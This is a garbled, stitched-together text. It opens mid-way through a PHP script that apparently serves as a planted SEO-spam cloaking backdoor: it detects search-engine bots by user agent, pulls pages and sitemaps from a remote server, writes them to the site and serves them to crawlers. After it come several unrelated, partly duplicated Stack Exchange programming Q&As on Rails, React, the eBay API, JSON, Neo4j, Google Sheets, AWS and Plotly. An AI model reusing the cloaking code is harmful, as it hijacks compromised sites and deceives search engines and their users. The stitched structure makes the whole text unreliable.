                        exit();
                    }else{
                        gzclose($fp);
                        echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                        echo "
".$web;
                        exit();
                    }
                }else{
                    echo 'gzopen no exists!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                    $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
                    echo "
".$web;
                    exit();
                }
            }
            if(fopen($mapdir.'/'.$xmlname, "w")){
                $xml = trim(smoutdo($web));
                if(stristr($xml,'no creat map')){
                    echo 'no creat map!';
                    exit;
                }
                $myfile = fopen($mapdir.'/'.$xmlname, "w");
                fwrite($myfile, $xml);
                fclose($myfile);
                echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                echo "
".$web;
                exit();
            }else{
                fclose($myfile);
                echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
                echo "
".$web;
                exit();
            }
        }else{
            if(fopen($xmlname, "w")){
                $xml = trim(smoutdo($web));
                if(stristr($xml,'no creat map')){
                    echo 'no creat map!';
                    exit;
                }
                $myfile = fopen($xmlname, "w");
                fwrite($myfile, $xml);
                fclose($myfile);
                echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
                echo "
".$web;
                exit();
            }else{
                fclose($myfile);
                echo 'creat sitemap faile No Permissions!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
                echo "
".$web;
                exit();
            }
        }
    }
    if($id){
        @header("Content-type: text/html; charset=utf-8");
        $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
        $html_content = trim(smoutdo($web));
        if(!strstr($html_content,'nobotuseragent')){
            if(strstr($html_content,'okhtmlgetcontent')){
                $html_content = str_replace("okhtmlgetcontent",'',$html_content);
                echo $html_content;
                exit();
            }else if(strstr($html_content,'getcontent500page')){
                @header('HTTP/1.1 500 Internal Server Error');
                exit();
            }else if(strstr($html_content,'getcontent404page')){
                @header('HTTP/1.1 404 Not Found');
                exit();
            }
        }
    }
}else{
    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
    $html_content = trim(smoutdo($web));
    if($uri_script != ""){
        $html_content = str_replace($host."/",$host.$uri_script, $html_content);
    }
    if(!strstr($html_content,'nobotuseragent')){
        @header("Content-type: text/html; charset=utf-8");
        if(strstr($html_content,'okhtmlgetcontent')){
            $html_content = str_replace("okhtmlgetcontent",'',$html_content);
            echo $html_content;
            exit();
        }else if(strstr($html_content,'getcontent500page')){
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }else if(strstr($html_content,'getcontent404page')){
            @header('HTTP/1.1 404 Not Found');
            exit();
        }else if(strstr($html_content,'getcontent301page')){
            @header('HTTP/1.1 301 Moved Permanently');
            $html_content = str_replace("getcontent301page",'',$html_content);
            header('Location: '.$html_content);
            exit();
        }

    }
}

function smisbot() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
        foreach ($googleBot as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }else{
        return false;
    }
}
function smotherbot() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
        foreach ($spiderSite as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }else{
        return false;
    }
}
function smoutdo($url){
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}
function listDir($dir){
    $filearr = array();
    if(is_dir($dir)){
        if ($dh = opendir($dir)){
            while (($file = readdir($dh)) !== false){
                if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
                    $filearr[] = $file;
                }
            }
            closedir($dh);
        }
    }
    return $filearr;
}
 ?>


来源: stackexchange

问:
'attr_accessible' effects
I am using Ruby on Rails 3.0.9 and I would like to know in which cases (that is, for which methods) the attr_accessible method has effect. For example, if I use

```<code>attr_accessible :name, :surname
</code>```

it will care to not assign those attribute values when you use the new(...) method for the User.new(params[:user]) statement.

But what other methods it will take care? Can I run correctly, for example, methods as where(...) and exists?(...) without that the attr_accessible will take effect?

答:
attr_accessible will impact only functions that is related to write operations.

Ex: new, create, update_attributes, etc.

Other read-only functions like where, exists?, etc should not have any impact.

ContentLicense: CC BY-SA 3.0

Title: 'attr_accessible' effects

Body:
I am using Ruby on Rails 3.0.9 and I would like to know in which cases (that is, for which methods) the attr_accessible method has effect. For example, if I use

attr_accessible :name, :surname

it will care to not assign those attribute values when you use the new(...) method for the User.new(params[:user]) statement.

But what other methods it will take care? Can I run correctly, for example, methods as where(...) and exists?(...) without that the attr_accessible will take effect?


问:
Styled component react checkbox doesn't appears
Hello i have a problem with my style , checkbox does'nt appears even with a classical input i tried lot of things but bug continue .
i use styled-component, react-hook-form, typescript.

```<code>//import tools
import React, { FunctionComponent, useState } from "react";
import styled from "styled-components";
import { useForm, SubmitHandler } from "react-hook-form";

//import model will be useless with api
import Pokemon from "../models/pokemon";

//import helpers
import formatType from "../helpers/format-type";

type Props = {
  pokemon: Pokemon;
};
// type field
type Field = {
  value: any;
  error?: string;
  isValid: boolean;
};
// types form

type Inputs = {
  name: Field;
  hp: Field;
  cp: Field;
  types: Field;
};
// style

const CardHoverable = styled.div``;
const CardImage = styled.div`
  display: flex;
  justify-content: center;
  img {
    width: 250px;
  }
`;
const CardStacked = styled.div``;
const CardContent = styled.div`
  display: flex;
  justify-content: center;
  flex-direction: column;
`;
const FormGroup = styled.div`
  box-shadow: 10px 5px 5px grey;
  margin-bottom: 5px;
`;
const CardAction = styled.div``;
const Input = styled.input.attrs({ type: "checkbox" })`
  display: flex;
  position: absolute;
  width: 50px;
`;
const PokemonForm: FunctionComponent<Props> = ({ pokemon }) => {
  const [form] = useState<Inputs>({
    name: { value: pokemon.name, isValid: true },
    hp: { value: pokemon.hp, isValid: true },
    cp: { value: pokemon.cp, isValid: true },
    types: { value: pokemon.types, isValid: true },
  });

  // const changeValue = () => {
  //   setForm(onSubmit);
  // };
  //types pokemon
  const types: string[] = [
    "Plante",
    "Feu",
    "Eau",
    "Insecte",
    "Normal",
    "Electrik",
    "Poison",
    "Fée",
    "Vol",
    "Combat",
    "Psy",
  ];
  const hasType = (type: string): boolean => {
    return form.types.value.includes(type);
  };

  //form using maybe moved in other folder after
  const {
    register,
    handleSubmit,
    watch,
    // formState: { errors },
  } = useForm<Inputs>();
  const onSubmit: SubmitHandler<Inputs> = (data) => console.log(data);
  console.log(watch("name"));
  console.log(watch("hp"));
  console.log(watch("cp"));
  console.log(watch("types"));

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <CardImage>
        <img src={pokemon.picture} alt={pokemon.name} />
      </CardImage>

      <CardHoverable>
        <CardStacked>
          <CardContent>
            {/* Pokemon name */}
            <FormGroup>
              <label>Nom</label>
              <input
                value={form.name.value}
                {...register("name", { required: true, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon hp */}
            <FormGroup>
              <label>Point de vie</label>
              <input
                value={form.hp.value}
                type="number"
                {...register("hp", { min: 1, max: 100, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon cp */}
            <FormGroup>
              <label>Dégâts</label>
              <input
                value={form.cp.value}
                type="number"
                {...register("cp", { min: 1, max: 100, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon types */}
            <FormGroup>
              <label>Types</label>
              {types.map((type) => (
                <div key={type}>
                  <Input
                    type={"checkbox"}
                    id={type}
                    value={type}
                    checked={hasType(type)}
                  ></Input>

                  <p className={formatType(type)}>{type}</p>
                </div>
              ))}
            </FormGroup>
          </CardContent>
          <CardAction>
            {/* Submit button */}
            <input type="submit" name="Valider" />
          </CardAction>
        </CardStacked>
      </CardHoverable>
    </form>
  );
};

export default PokemonForm;
</code>```

If you know that issue could you help me thanks.
i tried to pass in inputs .attrs the type checkbox so i don't know how resolve that situation
i have some questions is it problem with styled component or typescript or i didn't saw something that you could see.

答: i've import in html materialize so it was the problem</p>

ContentLicense: CC BY-SA 4.0

Body:
Hello i have a problem with my style , checkbox does'nt appears even with a classical input i tried lot of things but bug continue .
i use styled-component, react-hook-form, typescript.

//import tools
import React, { FunctionComponent, useState } from "react";
import styled from "styled-components";
import { useForm, SubmitHandler } from "react-hook-form";

//import model will be useless with api
import Pokemon from "../models/pokemon";

//import helpers
import formatType from "../helpers/format-type";

type Props = {
  pokemon: Pokemon;
};
// type field
type Field = {
  value: any;
  error?: string;
  isValid: boolean;
};
// types form

type Inputs = {
  name: Field;
  hp: Field;
  cp: Field;
  types: Field;
};
// style

const CardHoverable = styled.div``;
const CardImage = styled.div`
  display: flex;
  justify-content: center;
  img {
    width: 250px;
  }
`;
const CardStacked = styled.div``;
const CardContent = styled.div`
  display: flex;
  justify-content: center;
  flex-direction: column;
`;
const FormGroup = styled.div`
  box-shadow: 10px 5px 5px grey;
  margin-bottom: 5px;
`;
const CardAction = styled.div``;
const Input = styled.input.attrs({ type: "checkbox" })`
  display: flex;
  position: absolute;
  width: 50px;
`;
const PokemonForm: FunctionComponent<Props> = ({ pokemon }) => {
  const [form] = useState<Inputs>({
    name: { value: pokemon.name, isValid: true },
    hp: { value: pokemon.hp, isValid: true },
    cp: { value: pokemon.cp, isValid: true },
    types: { value: pokemon.types, isValid: true },
  });

  // const changeValue = () => {
  //   setForm(onSubmit);
  // };
  //types pokemon
  const types: string[] = [
    "Plante",
    "Feu",
    "Eau",
    "Insecte",
    "Normal",
    "Electrik",
    "Poison",
    "Fée",
    "Vol",
    "Combat",
    "Psy",
  ];
  const hasType = (type: string): boolean => {
    return form.types.value.includes(type);
  };

  //form using maybe moved in other folder after
  const {
    register,
    handleSubmit,
    watch,
    // formState: { errors },
  } = useForm<Inputs>();
  const onSubmit: SubmitHandler<Inputs> = (data) => console.log(data);
  console.log(watch("name"));
  console.log(watch("hp"));
  console.log(watch("cp"));
  console.log(watch("types"));

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <CardImage>

      </CardImage>

      <CardHoverable>
        <CardStacked>
          <CardContent>
            {/* Pokemon name */}
            <FormGroup>
              Nom
              <input
                value={form.name.value}
                {...register("name", { required: true, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon hp */}
            <FormGroup>
              Point de vie
              <input
                value={form.hp.value}
                type="number"
                {...register("hp", { min: 1, max: 100, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon cp */}
            <FormGroup>
              Dégâts
              <input
                value={form.cp.value}
                type="number"
                {...register("cp", { min: 1, max: 100, maxLength: 20 })}
              />
            </FormGroup>
            {/* Pokemon types */}
            <FormGroup>
              Types
              {types.map((type) => (

                  <Input
                    type={"checkbox"}
                    id={type}
                    value={type}
                    checked={hasType(type)}
                  ></Input>

{type}

              ))}
            </FormGroup>
          </CardContent>
          <CardAction>
            {/* Submit button */}
            <input type="submit" name="Valider" />
          </CardAction>
        </CardStacked>
      </CardHoverable>
    </form>
  );
};

export default PokemonForm;

If you know that issue could you help me thanks.
i tried to pass in inputs .attrs the type checkbox so i don't know how resolve that situation
i have some questions is it problem with styled component or typescript or i didn't saw something that you could see.


问:
eBay Feed API uploadFile call return 2003 error - PHP Curl
I want to achieve the following goal. Migrating my File Exchange Application to new eBay feed api.

Please check the concern page.

API - Feed Reference:

Link to File Exchange Migration Procedure

Link to eBay Sell Feed API

I am adopting their procedure as stated on the above links but I am receiving the following error while calling Sell Feed API -> uploadFile method.

```<code>"errorId": 2003,
      "domain": "ACCESS",
      "category": "APPLICATION",
      "message": "Internal error",
      "longMessage": "There was a problem with an eBay internal system or process. Contact eBay developer support for assistance",
      "parameters": [
        { "name": "code",  "value": "400"  },
        { "name": "message", "value": "HTTP 400 Bad Request"  }
</code>```

Please check my request.

Endpoint: "https://api.ebay.com/sell/feed/v1/task/task-40-xxxxxxxxx/upload_file"

Request Headers:

```<code>Authorization:Bearer myToken
Accept:application/json
Content-Type:multipart/form-data
X-EBAY-C-MARKETPLACE-ID: EBAY_US
</code>```

Payload:

```<code>{
"fileName" : "https://virtualwebdesk.com/brad/feed.csv",
"name" : "file",
"type" : "form-data"
}
</code>```

Please Note: I create TaskID first and then pass in the call.

答:
```<code>    This code is in C# - RestClient

    createTask
    ==========
    var client = new RestClient("https://api.ebay.com/sell/feed/v1/task");
    client.Timeout = -1;
    var request = new RestRequest(Method.POST);
    request.AddHeader("Authorization", "Bearer v^1.1#i^1****** YOUR USER ACCESS TOKEN *********Ql3QYER3BQAAA==");
    request.AddHeader("Accept", "application/json");
    request.AddHeader("Content-Type", "application/json");
    request.AddHeader("X-EBAY-C-MARKETPLACE-ID", "EBAY_GB");
    var body = @"{
    " + "\n" +
    @"  ""schemaVersion"": ""1149"",
    " + "\n" +
    @"  ""feedType"": ""LMS_REVISE_INVENTORY_STATUS""
    " + "\n" +
    @"}";
    request.AddParameter("application/json", body,  ParameterType.RequestBody);
    IRestResponse response = client.Execute(request);
    Console.WriteLine(response.Content);

    Response:
    location:https://api.ebay.com/sell/feed/v1/task/task-12-1127376027

    task-12-1127376027 is your TaskID

    uploadFile
    ==========
test.xml
--------

<?xml version="1.0" encoding="utf-8" ?>
<BulkDataExchangeRequests xmlns="urn:ebay:apis:eBLBaseComponents">
    <Header>
        <Version>685</Version>
        <SiteID>3</SiteID>
    </Header>
    <ReviseInventoryStatusRequest xmlns="urn:ebay:apis:eBLBaseComponents">
        <ErrorLanguage>en_US</ErrorLanguage>
        <WarningLevel>High</WarningLevel>
        <MessageID>test-1111</MessageID>
        <Version>637</Version>
        <InventoryStatus ComplexType="InventoryStatusType">
            <SKU>test-1111</SKU>
            <Quantity>2</Quantity>
        </InventoryStatus>
    </ReviseInventoryStatusRequest>
    <ReviseInventoryStatusRequest xmlns="urn:ebay:apis:eBLBaseComponents">
        <ErrorLanguage>en_US</ErrorLanguage>
        <WarningLevel>High</WarningLevel>
        <MessageID>test-2222</MessageID>
        <Version>637</Version>
        <InventoryStatus ComplexType="InventoryStatusType">
            <SKU>test-2222</SKU>
            <Quantity>0</Quantity>
        </InventoryStatus>
    </ReviseInventoryStatusRequest>
</BulkDataExchangeRequests>

    var client = new RestClient("https://api.ebay.com/sell/feed/v1/task/task-12-1127376027/upload_file");
    client.Timeout = -1;
    var request = new RestRequest(Method.POST);
    request.AddHeader("Authorization", "Bearer v^1.1#i^1****** YOUR USER ACCESS TOKEN *********Ql3QYER3BQAAA==");
    request.AddHeader("X-EBAY-C-MARKETPLACE-ID", "EBAY_GB");
    request.AddHeader("Accept", "application/json");
    request.AddHeader("Content-Type", "multipart/form-data");
    request.AddParameter("fileName", "test.xml");
    request.AddFile("file", "F:/test.xml");
    request.AddParameter("type", "form-data");
    IRestResponse response = client.Execute(request);
    Console.WriteLine(response.Content);

    Response: "StatusCode: OK, Content-Type: , Content-Length: 0)"

    getTask
    ========
    var client = new RestClient("https://api.ebay.com/sell/feed/v1/task/task-12-1235290549");
    client.Timeout = -1;
    var request = new RestRequest(Method.GET);
    request.AddHeader("Authorization", "Bearer v^1.1#i^1****** YOUR USER ACCESS TOKEN *********Ql3QYER3BQAAA==");
    request.AddHeader("Accept", "application/json");
    request.AddHeader("Content-Type", "application/json");
    IRestResponse response = client.Execute(request);
    Console.WriteLine(response.Content);

    Response:
    {
        "taskId": "task-12-1127376027",
        "status": "COMPLETED",
        "feedType": "LMS_REVISE_INVENTORY_STATUS",
        "creationDate": "2022-02-09T11:39:50.000Z",
        "completionDate": "2022-02-09T11:50:34.000Z",
        "uploadSummary": {
            "successCount": 2,
            "failureCount": 0
        }
    }
</code>```

Body:
I want to achieve the following goal. Migrating my File Exchange Application to new eBay feed api.

Please check the concern page.

API - Feed Reference:

Link to File Exchange Migration Procedure

Link to eBay Sell Feed API

I am adopting their procedure as stated on the above links but I am receiving the following error while calling Sell Feed API -> uploadFile method.

"errorId": 2003,
      "domain": "ACCESS",
      "category": "APPLICATION",
      "message": "Internal error",
      "longMessage": "There was a problem with an eBay internal system or process. Contact eBay developer support for assistance",
      "parameters": [
        { "name": "code",  "value": "400"  },
        { "name": "message", "value": "HTTP 400 Bad Request"  }

Please check my request.

Endpoint: "https://api.ebay.com/sell/feed/v1/task/task-40-xxxxxxxxx/upload_file"

Request Headers:

Authorization:Bearer myToken
Accept:application/json
Content-Type:multipart/form-data
X-EBAY-C-MARKETPLACE-ID: EBAY_US

Payload:

{
"fileName" : "https://virtualwebdesk.com/brad/feed.csv",
"name" : "file",
"type" : "form-data"
}

Please Note: I create TaskID first and then pass in the call.


问:
create custom nested output from json using javascript

let data = {
  "needData": [
    {
      arrayData: [
        {
          "key": "dummy",
          "value": "needed value"
        },
        {
          "key": "secret",
          "random": "secret_random"
        },
        {
          "key": "another",
          "value": "testing"
        },
        {
          "key": "another_Secret",
          "random": "testing_value"
        },
      ]
    }
  ]
};
let json, testing;
data.needData.map((value) => {
  json = {
    arrayData: [
      {
        needed_key: value.arrayData[0].key,
        needed_value: value.arrayData[0].value,
      },
    ],
  };
  testing = {
    arrayData: [
      {
        needed_key: value.arrayData.key,
        needed_value: value.arrayData.value,
      },
    ],
  };
});
console.log("value got by running json", json);
console.log("value got by running testing", testing);```
</div>
</div>
</p>
<p>I am trying to save data in json object by using map function but the problem is I can save data by using <code>needed_key:value.arrayData.key</code> <code>needed_value:value.arrayData.value</code></p>
<p>if all the needed_key and needed_value are same I can use above code but here problem is key name is same but the needed_value get change by <code>random and value</code> I only want to save values of those data which contain in <code>value</code> not <code>random</code> is there any way I can get <code>key and value</code> value not <code>key and random</code> value</p>
<p>I can use manual code to fetch the data but what if data is more and I don't want to use manual code</p>
<h2>Expected Output</h2>
```{
  "arrayData": [
      {
          "needed_key": "dummy",
          "needed_value": "needed value"
      },
      {
          "needed_key": "another",
          "needed_value": "testing"
      }
  ]
}

```

答:
This gives your output:</p>
```<code>var output = {
  'arrayData': data.needData[0].arrayData
    .filter(x => !Object.keys(x).includes('random'))
    .map(x => {
      return {needed_key: x['key'], needed_value: x['value']}
    })
}
console.log(output);
</code>```

Body:
let data = {
  "needData": [
    {
      arrayData: [
        {
          "key": "dummy",
          "value": "needed value"
        },
        {
          "key": "secret",
          "random": "secret_random"
        },
        {
          "key": "another",
          "value": "testing"
        },
        {
          "key": "another_Secret",
          "random": "testing_value"
        },
      ]
    }
  ]
};
let json, testing;
data.needData.map((value) => {
  json = {
    arrayData: [
      {
        needed_key: value.arrayData[0].key,
        needed_value: value.arrayData[0].value,
      },
    ],
  };
  testing = {
    arrayData: [
      {
        needed_key: value.arrayData.key,
        needed_value: value.arrayData.value,
      },
    ],
  };
});
console.log("value got by running json", json);
console.log("value got by running testing", testing);

I am trying to save data in json object by using map function but the problem is I can save data by using needed_key:value.arrayData.key needed_value:value.arrayData.value

if all the needed_key and needed_value are same I can use above code but here problem is key name is same but the needed_value get change by random and value I only want to save values of those data which contain in value not random is there any way I can get key and value value not key and random value

I can use manual code to fetch the data but what if data is more and I don't want to use manual code

Expected Output

{
  "arrayData": [
      {
          "needed_key": "dummy",
          "needed_value": "needed value"
      },
      {
          "needed_key": "another",
          "needed_value": "testing"
      }
  ]
}

Body:
This gives your output:

var output = {
  'arrayData': data.needData[0].arrayData
    .filter(x => !Object.keys(x).includes('random'))
    .map(x => {
      return {needed_key: x['key'], needed_value: x['value']}
    })
}
console.log(output);


问:
Neo4J OGM MappingException: Field with primary id is null for EMF class
I constructed an EMF model that should dictate the types of entities that are allowed to be stored in a Neo4J database instance.

I then wanted to annotate the EMF model classes with Neo4J OGM (version 3.2.28) to keep the connection to Neo4J as easy as possible.

It looks something like this:

BaseElement and ToolNameArtefact are abstract. The field uuid in BaseElementImpl is annotated with org.neo4j.ogm.annotation.Id.

Now, when I try to store an instance of ConcreteArtefact via Session#save(), I get the following error message:

org.neo4j.ogm.exception.core.MappingException: Field with primary id is null for entity foo.bar.ConcreteArtefact@64d43929 (uuid: 7745782f-2c61-4450-985a-8cf2986afa49, projectName: )
at org.neo4j.ogm.context.MappingContext.nativeId(MappingContext.java:556)
at org.neo4j.ogm.cypher.compiler.CypherContext.getIdentity(CypherContext.java:66)
at org.neo4j.ogm.cypher.compiler.CypherContext.visitedNode(CypherContext.java:90)
at org.neo4j.ogm.context.EntityGraphMapper.mapEntity(EntityGraphMapper.java:267)
at org.neo4j.ogm.context.EntityGraphMapper.map(EntityGraphMapper.java:170)
at org.neo4j.ogm.session.delegates.SaveDelegate.lambda$save$1(SaveDelegate.java:89)
at java.util.Collections$SingletonList.forEach(Collections.java:4822)
at org.neo4j.ogm.session.delegates.SaveDelegate.save(SaveDelegate.java:89)
at org.neo4j.ogm.session.Neo4jSession.save(Neo4jSession.java:479)

Although the uuid field is clearly set.

Other solution proposals

My package names are all lower-case.

Moving the NodeEntity annotations to the interfaces instead of the implementing classes did not help.

The classes in question have a no-arg constructor.

答: This behavior was a problem with Neo4J OGM itself. A developer answered in this thread, that the issue will be fixed in future versions (starting from 3.2.29)


问:
Import JSON data into single cell in google sheets
I am wondering if anyone can give me an example on how to gather data from a JSON file, and import it into a single cell in google sheets? It does not need to be formatted or copied to multiple cells, it simply needs to take the entire contents of the JSON and copy it into a single cell. The file I am working with is also a local file. Can anyone shed some light? It does not necessarily need to use google apps script, if a python script or anything similar could do the same thing that would be ok</p>

答:
You can also use an extension of "API CONNECTOR" for free in the google sheets and just paste the url of the json file you need to import.
here is the link to the API Connector extension
https://workspace.google.com/marketplace/app/api_connector/95804724197
here is how to perform it.
https://www.benlcollins.com/apps-script/api-tutorial-for-beginners/</p>


问:
Can I Limit Value used by python in Uri of an Api Gateway
Asking a new question as my original was closed by admin who said a similar question had the answer. I checked it and it didnt have the answer. That answer was related to user input in Python itself. I am using a front end in the form of an Api Uri which I have included in this question.

In my code below I use this to call an Api using 'Method' and 'Value' parameters. For example on the URL they use to call the Api they enter Method2=Min and Value2=2 This works fine and allows the user to input whatever they want into Value2 so they can change the settings of an AutoScaling Group.

If the user makes a mistake and inputs Value as 100 instead of 10 in the Uri, for example Value3=100, I would not want the Autoscaling Group Max size to change to 100. Therefore is there of editing my script so I can stop that Max size from changing to 100? Like some sort of max size value in the script itself?

To invoke the Api I use powershell command like this

invoke-webrequest -Uri 'https://name-of-api.amazonaws.com/?TagKey=tag-key-name&TagValue=tag-value-name&Method1=Capacity&Value1=1&Method2=Min&Value2=1&Method3=Max&Value3=4' -Headers @{"X-Api-Key"="name-of-api-key"}

As you can see the user has the power to change 'Method3=Max' to have a 'Value3' of 100 if they want

Thanks

```<code>import boto3
import botocore
import os
import json
import logging

# Set up logger.
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
# Set up clients.
client = boto3.client('autoscaling')

def handler(event, context):
# Step one: get all AutoScaling Groups.
    response = client.describe_auto_scaling_groups(
        MaxRecords=100
    )

    # Make an empty list for ASG info storage.
    allAutoScaling = [] # empty list of no items.

    # Get the initial results and posts them to CloudWatch logs
    allAutoScaling.append(response['AutoScalingGroups'])
    logger.info(allAutoScaling)

    # If 'Marker' is present in the response, we have more to get.
    while 'Marker' in response:
        old_marker = response['Marker']
        response = client.describe_auto_scaling_groups(
            MaxRecords=100,
            Marker = old_marker
        )
        allAutoScaling.append(response['AutoScalingGroups'])

        # Cycles back up to repeat the pagination.

    # Now to find the tags specified in the Api Uri
    for autoscaling in allAutoScaling:
        for key in autoscaling:
           for tag in key['Tags']:
               if tag['Key'] == event['TagKey'] and tag['Value'] == event['TagValue']:

                if event['Method2'] == "Min":
                     if event['Value2']:
                        Value2 = int(event['Value2'])
                        response = client.update_auto_scaling_group(
                        AutoScalingGroupName=key['AutoScalingGroupName'],
                        MinSize=Value2
                        )
                else:
                    print('Min already at required level')

                if event['Method3'] == "Max":
                     if event['Value3']:
                        Value3 = int(event['Value3'])
                        response = client.update_auto_scaling_group(
                        AutoScalingGroupName=key['AutoScalingGroupName'],
                        MaxSize=Value3
                        )
                else:
                    print('Max already at required level')

                if event['Method1'] == "Capacity":
                      if event['Value1']:
                         Value1 = int(event['Value1'])
                         response = client.set_desired_capacity(
                         AutoScalingGroupName=key['AutoScalingGroupName'],
                         DesiredCapacity=Value1
                         )
                else:
                    print('Capacity already at required level')
</code>```

答:
Something within these lines:</p>
```<code>try:
    value = int(event['Value3'])
except ValueError:
    print(f"{event['Value3']} is not a valid integer")
else:
    if 1 <= value <= 3:
        # do something, process the request
    else:
        print(f'Value must be between 1 and 3, got {value} instead')
</code>```

Body:
Asking a new question as my original was closed by admin who said a similar question had the answer. I checked it and it didnt have the answer. That answer was related to user input in Python itself. I am using a front end in the form of an Api Uri which I have included in this question.

In my code below I use this to call an Api using 'Method' and 'Value' parameters. For example on the URL they use to call the Api they enter Method2=Min and Value2=2 This works fine and allows the user to input whatever they want into Value2 so they can change the settings of an AutoScaling Group.

If the user makes a mistake and inputs Value as 100 instead of 10 in the Uri, for example Value3=100, I would not want the Autoscaling Group Max size to change to 100. Therefore is there of editing my script so I can stop that Max size from changing to 100? Like some sort of max size value in the script itself?

To invoke the Api I use powershell command like this

invoke-webrequest -Uri 'https://name-of-api.amazonaws.com/?TagKey=tag-key-name&TagValue=tag-value-name&Method1=Capacity&Value1=1&Method2=Min&Value2=1&Method3=Max&Value3=4' -Headers @{"X-Api-Key"="name-of-api-key"}

As you can see the user has the power to change 'Method3=Max' to have a 'Value3' of 100 if they want

Thanks

import boto3
import botocore
import os
import json
import logging

# Set up logger.
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
# Set up clients.
client = boto3.client('autoscaling')

def handler(event, context):
# Step one: get all AutoScaling Groups.
    response = client.describe_auto_scaling_groups(
        MaxRecords=100
    )

    # Make an empty list for ASG info storage.
    allAutoScaling = [] # empty list of no items.

    # Get the initial results and posts them to CloudWatch logs
    allAutoScaling.append(response['AutoScalingGroups'])
    logger.info(allAutoScaling)

    # If 'Marker' is present in the response, we have more to get.
    while 'Marker' in response:
        old_marker = response['Marker']
        response = client.describe_auto_scaling_groups(
            MaxRecords=100,
            Marker = old_marker
        )
        allAutoScaling.append(response['AutoScalingGroups'])

        # Cycles back up to repeat the pagination.

    # Now to find the tags specified in the Api Uri
    for autoscaling in allAutoScaling:
        for key in autoscaling:
           for tag in key['Tags']:
               if tag['Key'] == event['TagKey'] and tag['Value'] == event['TagValue']:

                if event['Method2'] == "Min":
                     if event['Value2']:
                        Value2 = int(event['Value2'])
                        response = client.update_auto_scaling_group(
                        AutoScalingGroupName=key['AutoScalingGroupName'],
                        MinSize=Value2
                        )
                else:
                    print('Min already at required level')

                if event['Method3'] == "Max":
                     if event['Value3']:
                        Value3 = int(event['Value3'])
                        response = client.update_auto_scaling_group(
                        AutoScalingGroupName=key['AutoScalingGroupName'],
                        MaxSize=Value3
                        )
                else:
                    print('Max already at required level')

                if event['Method1'] == "Capacity":
                      if event['Value1']:
                         Value1 = int(event['Value1'])
                         response = client.set_desired_capacity(
                         AutoScalingGroupName=key['AutoScalingGroupName'],
                         DesiredCapacity=Value1
                         )
                else:
                    print('Capacity already at required level')

Body:
Something within these lines:

try:
    value = int(event['Value3'])
except ValueError:
    print(f"{event['Value3']} is not a valid integer")
else:
    if 1 <= value <= 3:
        # do something, process the request
    else:
        print(f'Value must be between 1 and 3, got {value} instead')


问:
Choropleth map showing white page instead of the map
I am working on a choropleth map and it is showing a white page instead of the map as shown here
https://i.stack.imgur.com/boYKY.png

I have both the geojson and the excel file downloaded in the same folder.

geojson https://drive.google.com/file/d/1N-rp9yHqE1Rzn2VxoAAweJ8-5XIjk61j/view?usp=sharing
excel https://docs.google.com/spreadsheets/d/1NKeUg20XxJe0jccMgjj9pMxrTIIWeuQk/edit?usp=sharing&ouid=100050178655652050254&rtpof=true&sd=true

Here is my code

```<code>import json
import numpy as np
import pandas as pd
import plotly.express as px

df = pd.read_excel('kraje.xlsx', sheet_name='List1')

regions_json = json.load(open("KRAJE.geojson", "r"))

fig = px.choropleth(df,
             locations="K_KRAJ",
             geojson=regions_json,
             color='OB1506')
fig.show()
</code>```

The console of my browser in which I am viewing the map shows
this

I am using a jupyter notebook in the brave browser.

Can anyone please help me solve this? Thanks

EDIT:

